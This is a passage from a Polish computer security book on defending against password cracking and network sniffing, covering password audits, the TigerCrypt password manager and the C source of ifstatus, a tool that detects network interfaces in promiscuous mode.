kiedy hasło zostanie wprowadzone, jądro uwierzytelniania komputera szyfruje je i dokonuje translacji do ciągu znaków, a następnie porównuje je z listą, która jest po prostu przechowywanym w komputerze plikiem z hasłami. Jeśli moduł uwierzytelniania znajdzie identyczny ciąg znaków, umożliwia dostęp do systemu. Hakerzy, którzy chcą się włamać do systemu i uzyskać konkretny typ dostępu, zwykle biorą sobie za cel ten plik z hasłami. Jeśli uda się im uzyskać pewien poziom dostępu, mogą zdobyć kopię takiego pliku, a następnie użyć programu do łamania haseł w celu translacji zawartych w pliku znaków z powrotem do oryginalnych haseł!
Chociaż zastosowanie środków ochronnych przed złamaniem haseł jest relatywnie mało skomplikowane, jest to jednak jeden ze sposobów zabezpieczeń, o których najczęściej się zapomina. Konieczne jest podjęcie niezbędnych kroków w celu ustawienia odpowiednich zabezpieczeń (przy użyciu technik poznanych w tej książce i z innych źródeł), a następnie włączenia haseł wygaszaczy ekranów i programów oraz mechanizmów obronnych systemu operacyjnego i plików (przechowywanie hasel systemowych w odrębnej bazie — password shadowing — i szyfrowanie DES lub Blowfish). Przy użyciu narzędzi, takich jak L0phtCrack (www.l0pht.com), możesz upewnić się, czy hasła kont nie są zbyt proste do odgadnięcia lub złamania przez hakerów. Regularna kontrola plików haseł może pomóc w odnalezieniu prostych haseł; pamiętaj, że Twój system jest tylko tak bezpieczny, jak jego najsłabsze ogniwo. Programy do łamania haseł, takie jak L0phtCrack, są łatwo dostępne i proste w użyciu, co pokazano na rysunku 2.14.
|
Pierwszy tom tej książki zawiera dużą liczbę narzędzi do łamania haseł i liczne pliki słowników. |
Prawdopodobnie bezpiecznie można przyjąć, iż większość czytelników nie musi tworzyć niemożliwego do złamania programu z ogromnym szyfrowaniem. Należy jednak pamiętać, że hasła są tak bezpieczne, jak to zostanie ustawione. Jeśli Twój pies ma na imię Reks i wiedzą o tym nawet osoby, które znasz bardzo słabo, nie używaj tej nazwy jako hasła. Nie zapominaj, że istnieją programy badające schematy uwierzytelniania przy użyciu nazw praktycznie wszystkich obiektów ożywionych i nieożywionych.
Rysunek 2.14. Okresowe monitorowanie plików haseł przy użyciu narzędzi do łamania haseł typu L0phtCrack może zredukować liczbę osób próbujących włamać się do systemu
|
|
Oczywiście przede wszystkim należy dokonać implementacji trudnego do złamania mechanizmu szyfrowania. Istnieją doskonałe narzędzia komercyjne, darmowe i shareware do szyfrowania zawartości plików i wiadomości e-mailowych. Aby odnaleźć program odpowiedni dla Ciebie, użyj jakiejś popularnej wyszukiwarki, na przykład Yahoo (www.yahoo.com), Google (www.google.com) lub Wirtualna Polska (www.wp.pl), a także odwiedź witrynę z oprogramowaniem — wspominaliśmy już wcześniej o TuCows (www.tucows.com) i C|Net (download.cnet.com).
Kolejną fazą ochrony przed złamaniem hasła jest zastosowanie własnego schematu hasła, który charakteryzuje się jedną podstawową zasadą — nigdy nie używaj prawdziwego słowa jako całości lub części nazwy użytkownika i hasła. Zamiast tego należy korzystać ze znaków o różnej wielkości (małych i dużych liter) wraz z cyframi i znakami specjalnymi (w zależności od tego, jakie znaki specjalne są obsługiwane). Kolejna ogólna zasada nakazuje użycie co najmniej ośmiu znaków dla każdej nazwy użytkownika i hasła. Przykładem dobrej kombinacji jest nazwa J16vNj30 i hasło dg101Ko5.
Posiadanie wielu nazw logowania i haseł jest kolejną skuteczną formą zabezpieczania haseł, choć sprawia to jeden podstawowy problem — jak zapamiętać te wszystkie dziwne nazwy i hasła? Oczywiście nie należy ich zapisywać nigdzie, ponieważ mijałoby się to z celem. Rozwiązaniem może być zastosowanie programu, takiego jak TigerCrypt, w celu bezpiecznego przechowywania, odczytu i generowania haseł.
TigerCrypt używa 128-bitowego szyfrowania w celu zapewnienia bezpieczeństwa i prywatności osobistych haseł. Dołączona do tej książki wersja narzędzia obsługuje wiele profili użytkowników. Rysunek 2.15 pokazuje, jak prosta jest jego obsługa — należy z rozwijanej listy wybrać zarejestrowany profil lub utworzyć nowy. W czasie tworzenia nowego profilu trzeba pamiętać o wybraniu opcji Remember this user profile, jeśli chcesz, aby nazwa profilu była dołączona do głównej rozwijanej listy logowania (patrz rysunek 2.16).
Rysunek 2.15. Główny ekran logowania programu TigerCrypt
|
|
Rysunek 2.16. Tworzenie nowego użytkownika jest bardzo proste w programie TigerCrypt, który obsługuje wiele profili
|
|
Przy użyciu głównego interfejsu TigerCrypt (patrz rysunek 2.17) możesz dodać lub usunąć zaszyfrowane konta logowania. Program przechowuje bezpiecznie wiele nazw logowania, haseł, nazw serwerów i informacji o kontach; są one dostępne tylko po podaniu hasła danego profilu. Zaszyfrowane dane mogą być również eksportowane i importowane do plików. Głównym powodem istnienia tej funkcji jest obsługa przemieszczających się użytkowników oraz przyszła zgodność z urządzeniami typu PDA (cyfrowy asystent osobisty). Aby umożliwić wprowadzenie zalecanej cotygodniowej zmiany hasła, TigerCrypt zawiera generator losowych haseł w celu natychmiastowego tworzenia skomplikowanych haseł. Odpowiednia opcja interfejsu umożliwia wybór długości hasła oraz dostępnych znaków (duże i małe litery, cyfry, klawisze rozszerzone i symbole), które mają być losowo stosowane (patrz rysunek 2.18).
Wspominaliśmy już w tej książce o ostatniej zasadzie, której należy przestrzegać w celu zabezpieczenia przed złamaniem hasła, ale warto ją tu przypomnieć — nigdy nie podawaj nikomu swojej nazwy użytkownika lub hasła. Mówiąc krótko, te dane powinieneś zabrać ze sobą do grobu.
Ochrona przed podsłuchem
Szperacz (sniffer) to program, który pasywnie przechwytuje i kopiuje cały ruch sieciowy w systemie, serwerze, routerze lub firewallu. „Legalne” szperacze umożliwiają m.in. monitorowanie sieci i rozwiązywanie problemów. W przeciwieństwie do nich ukryte szperacze zainstalowane przez hakerów mogą być wyjątkowo niebezpieczne,
Rysunek 2.17. Nawigacja w głównym interfejsie TigerCrypt
|
|
Rysunek 2.18. Generowanie losowych haseł w TigerCrypt
|
|
ponieważ są trudne do wykrycia. Mogą one przechwytywać poufne dane, informacje o sieci, a nawet hasła wysyłane otwartym tekstem. Niektóre szperacze, takie jak Juggernaut for Linux, mają możliwość przerywania lub przejęcia sesji Telnetu, wstawiając pakiet do serwera z oszukanym adresem źródłowym. Od tego momentu może być tylko gorzej.
Najskuteczniejszym i najszybszym zabezpieczeniem przed użyciem szperacza do podsłuchu sieci lub stacji roboczej jest użycie technik opisanych w tej i innych książkach. Inne środki ochronne obejmują podział sieci na segmenty przy użyciu przełączników. Techniczna teoria mówi: jeśli każde urządzenie znajduje się we własnym segmencie i domenie rozgłaszania, to szperacz będzie mógł przechwycić informacje tylko z danej stacji roboczej. Według kolejnej zasady projektowania sieci należy użyć kart sieciowych, które nie obsługują trybu podsłuchowego (promiscuos mode). Większość szperaczy opiera swoje działanie na wykorzystaniu takich kart (w trybie podsłuchowym karta sieciowa nie bierze udziału w komunikacji sieciowej, a tylko kopiuje cały ruch do celów własnej analizy).
Jednym ze sposobów na stwierdzenie, czy w danym systemie działa szperacz, jest przeszukanie systemu operacyjnego przy użyciu określonego polecenia, na przykład w systemach Unix jest to polecenie ifconfig -a. Jeśli system jest prawidłowo skonfigurowany, komunikat wynikowy poinformuje, czy karta sieciowa znajduje się w trybie podsłuchowym. Inne dostępne polecenia to narzędzie do wyświetlania aktywnych procesów o nazwie ps, a także program o nazwie Check Promiscuous Mode (CPM), dostępny na witrynie www.cert.org. Dobrym narzędziem do wykrywania i usuwania ukrytych procesów (takich jak szperacz) w systemach Windows jest TigerWipe, przedstawiony w rozdziale 1.
Inny popularny program uniksowy o nazwie ifstatus może być uruchomiony w celu identyfikacji kart sieciowych, które znajdują się w trybie podsłuchowym, lub usuwania błędów (debug mode). To narzędzie nie wyświetla zwykle żadnych komunikatów wynikowych, chyba że odnajdzie karty sieciowe pracujące w niezabezpieczonym trybie. Jeśli się to zdarzy, wyświetlony zostanie następujący komunikat:
WARNING: TEST1.TIGER INTERFACE le0 IS IN PROMISCUOS MODE.
WARNING: TEST1.TIGER INTERFACE le1 IS IN DEBUG MODE.
ifstatus.c
#include <sys/param.h>
#include <ctype.h>
#include <stdio.h>
#ifndef MAXHOSTNAMELEN
#define MAXHOSTNAMELEN 64
#endif
char *hostName = NULL;
char *programName = NULL;
int verbose = 0;
main(argc, argv)
char **argv;
int argc;
{
char *p;
char hostNameBuf[MAXHOSTNAMELEN+1];
programName = *argv;
hostName = hostNameBuf;
while (--argc) {
if (**++argv != '-')
usage();
switch (*++*argv) {
case 'v':
verbose++;
break;
default:
usage();
break;
}
}
if (gethostname(hostNameBuf, sizeof(hostNameBuf)) < 0)
fatal("gethostname", NULL);
for (p = hostName; *p != '\0'; p++) {
if (islower(*p))
*p = toupper(*p);
}
checkInterfaces();
exit(0);
}
fatal(s1, s2)
char *s1, *s2;
{
fprintf(stderr, "%s: ", programName);
if (s2 != NULL)
fprintf(stderr, "%s: ", s2);
perror(s1);
exit(1);
}
usage()
{
fprintf(stderr, "Użycie: %s [-v]\n", programName);
exit(1);
}
ifgeneric.c
#if defined(BSD) || defined(HPUX) || defined(SUNOS4)
#include <sys/param.h>
#include <sys/socket.h>
#ifdef SUNOS4
#include <sys/sockio.h>
#endif
#include <sys/ioctl.h>
#include <net/if.h>
#include <stdio.h>
extern char *hostName;
extern int verbose;
checkInterfaces()
{
int n, s;
char cbuf[1024];
struct ifconf ifc;
struct ifreq ifr, *ifrp;
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
fatal("socket", NULL);
ifc.ifc_buf = cbuf;
ifc.ifc_len = sizeof(cbuf);
if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0)
fatal("ioctl: SIOCGIFCONF", NULL);
close(s);
ifrp = ifc.ifc_req;
for (n = ifc.ifc_len / sizeof(struct ifreq); n > 0; n--, ifrp++) {
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
fatal("socket", NULL);
strcpy(ifr.ifr_name, ifrp->ifr_name);
if (ioctl(s, SIOCGIFFLAGS, (char *) &ifr) < 0)
fatal("ioctl: SIOCGIFFLAGS", NULL);
if (verbose) {
printf("Interface %s: flags=0x%x\n", ifr.ifr_name,
ifr.ifr_flags);
}
if (ifr.ifr_flags & IFF_PROMISC) {
printf("WARNING: %s INTERFACE %s IS IN PROMISCUOS MODE.\n",
hostName, ifr.ifr_name);
}
if (ifr.ifr_flags & IFF_DEBUG) {
printf("WARNING: %s INTERFACE %s IS IN DEBUG MODE.\n",
hostName, ifr.ifr_name);
}
close(s);
}
}
#endif /* BSD || HPUX || SUNOS4 */
if-solaris.c
#if defined(SUNOS5)
#include <sys/param.h>
#include <sys/stream.h>
#include <sys/dditypes.h>
#include <sys/ethernet.h>
#include <nlist.h>
#include <fcntl.h>
#include <stdio.h>
#include <kvm.h>
#include "if-solaris.h"
struct nlist nl[] = {
#define X_IE 0
{ "iedev" },
#define X_LE 1
{ "ledev" },
#define X_QE 2
{ "qeup" },
#define X_HME 3
{ "hmeup" },
#define X_XX 4
{ 0 }
};
extern char *hostName;
extern char *programName;
extern int verbose;
checkInterfaces()
{
kvm_t *kd;
if ((kd = kvm_open(NULL, NULL, NULL, O_RDONLY, programName)) == NULL)
fatal("kvm_open", NULL);
if (kvm_nlist(kd, nl) < 0)
fatal("kvm_nlist", NULL);
if (nl[X_IE].n_value != 0)
checkIE(kd);
if (nl[X_LE].n_value != 0)
checkLE(kd);
if (nl[X_QE].n_value != 0)
checkQE(kd);
if (nl[X_HME].n_value != 0)
checkHME(kd);
kvm_close(kd);
}
checkIE(kd)
kvm_t *kd;
{
struct ie ie;
struct dev_info di;
u_long ieaddr, dipaddr;
ieaddr = nl[X_IE].n_value;
do {
if (kvm_read(kd, ieaddr, (char *) &ie, sizeof(struct ie)) < 0)
fatal("kvm_read: ie", NULL);
dipaddr = (u_long) ie.ie_dip;
ieaddr = (u_long) ie.ie_nextp;
if (dipaddr == 0)
continue;
if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct dev_info))
< 0)
continue;
if (verbose) {
printf("Interface ie%d: flags=0x%x\n",
di.devi_instance, ie.ie_flags);
}
if (ie.ie_flags & IEPROMISC) {
printf("WARNING: %s INTERFACE ie%d IS IN PROMISCUOS MODE.\n",
hostName, di.devi_instance);
}
} while (ieaddr != 0);
}
checkLE(kd)
kvm_t *kd;
{
struct le le;
struct dev_info di;
u_long leaddr, dipaddr;
leaddr = nl[X_LE].n_value;
do {
if (kvm_read(kd, leaddr, (char *) &le, sizeof(struct le)) < 0)
fatal("kvm_read: le", NULL);
dipaddr = (u_long) le.le_dip;
leaddr = (u_long) le.le_nextp;
if (dipaddr == 0)
continue;
if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct dev_info)) < 0)
continue;
if (verbose) {
printf("Interface le%d: flags=0x%x\n",
di.devi_instance, le.le_flags);
}
if (le.le_flags & LEPROMISC) {
printf("WARNING: %s INTERFACE le%d IS IN PROMISCUOS MODE.\n",
hostName, di.devi_instance);
}
} while (leaddr != 0);
}
checkQE(kd)
kvm_t *kd;
{
struct qe qe;
struct dev_info di;
u_long qeaddr, dipaddr;
qeaddr = nl[X_QE].n_value;
do {
if (kvm_read(kd, qeaddr, (char *) &qe, sizeof(struct qe)) < 0)
fatal("kvm_read: qe", NULL);
dipaddr = (u_long) qe.qe_dip;
qeaddr = (u_long) qe.qe_nextp;
if (dipaddr == 0)
continue;
if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct dev_info)) < 0)
continue;
if (verbose) {
printf("Interface qe%d: flags=0x%x\n",
di.devi_instance, qe.qe_flags);
}
if (qe.qe_flags & QEPROMISC) {
printf("WARNING: %s INTERFACE qe%d IS IN PROMISCUOS MODE.\n",
hostName, di.devi_instance);
}
} while (qeaddr != 0);
}
checkHME(kd)
kvm_t *kd;
{
struct hme hme;
struct dev_info di;
u_long hmeaddr, dipaddr;
hmeaddr = nl[X_HME].n_value;
do {
if (kvm_read(kd, hmeaddr, (char *) &hme, sizeof(struct hme)) < 0)
fatal("kvm_read: hme", NULL);
dipaddr = (u_long) hme.hme_dip;
hmeaddr = (u_long) hme.hme_nextp;
if (dipaddr == 0)
continue;
if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct dev_info)) < 0)
continue;
if (verbose) {
printf("Interface hme%d: flags=0x%x\n",
di.devi_instance, hme.hme_flags);
}
if (hme.hme_flags & HMEPROMISC) {
printf("WARNING: %s INTERFACE hme%d IS IN PROMISCUOS MODE.\n",
hostName, di.devi_instance);
}
} while (hmeaddr != 0);
}
#endif /* SUNOS5 */
Obecnie administratorzy testują poważne modyfikacje infrastruktury sieciowej, które obejmują przełączniki, prywatne sieci wirtualne (Virtual Private Network — VPN), a także techniki kryptograficzne. Dzięki implementacji takich rozwiązań informacje używane do logowania oraz transmisja danych mogą być szyfrowane w celu uniknięcia narażenia się na nieautoryzowane procedury podsłuchu. Skontaktuj się z producentami urządzeń i poproś o dostarczenie informacji na temat stosowanych przez nich własnych opcji szyfrowania.
Użytkownicy domowi, korporacyjni i prywatni systemu Windows, którzy chcą wykorzystać szyfrowanie i mieć nad tym procesem całkowitą kontrolę, mogą użyć narzędzia Encryptor, pokazanego na rysunku 2.19, a utworzonego przez STeRoiD. Dzięki niemu możliwe jest kontrolowanie wykorzystywanych technik szyfrowania w celu prostego zabezpieczenia danych. Kod źródłowy nie jest skomplikowany, dzięki czemu jego modyfikacja do prywatnego użytku nie powinna być trudna. Aby zapisać dane do szyfrowania, użyj listy katalogów po prawej stronie w celu dotarcia do ścieżki, w której chcesz umieścić zaszyfrowany plik. W tym momencie wprowadź klucz szyfrowania i kliknij Zapisz. Aby załadować zaszyfrowany plik, użyj ponownie listy katalogów po prawej stronie i wybierz właściwy plik (pamiętaj o wpisaniu właściwego klucza szyfrowania), a następnie kliknij Otwórz. Wynik przykładu pokazanego na rysunku 2.19 będzie wyglądał w poniższy sposób:
--> Îg„K¶f<ôĄ
|
|
|
|
|
|
|
|
|
|
|
|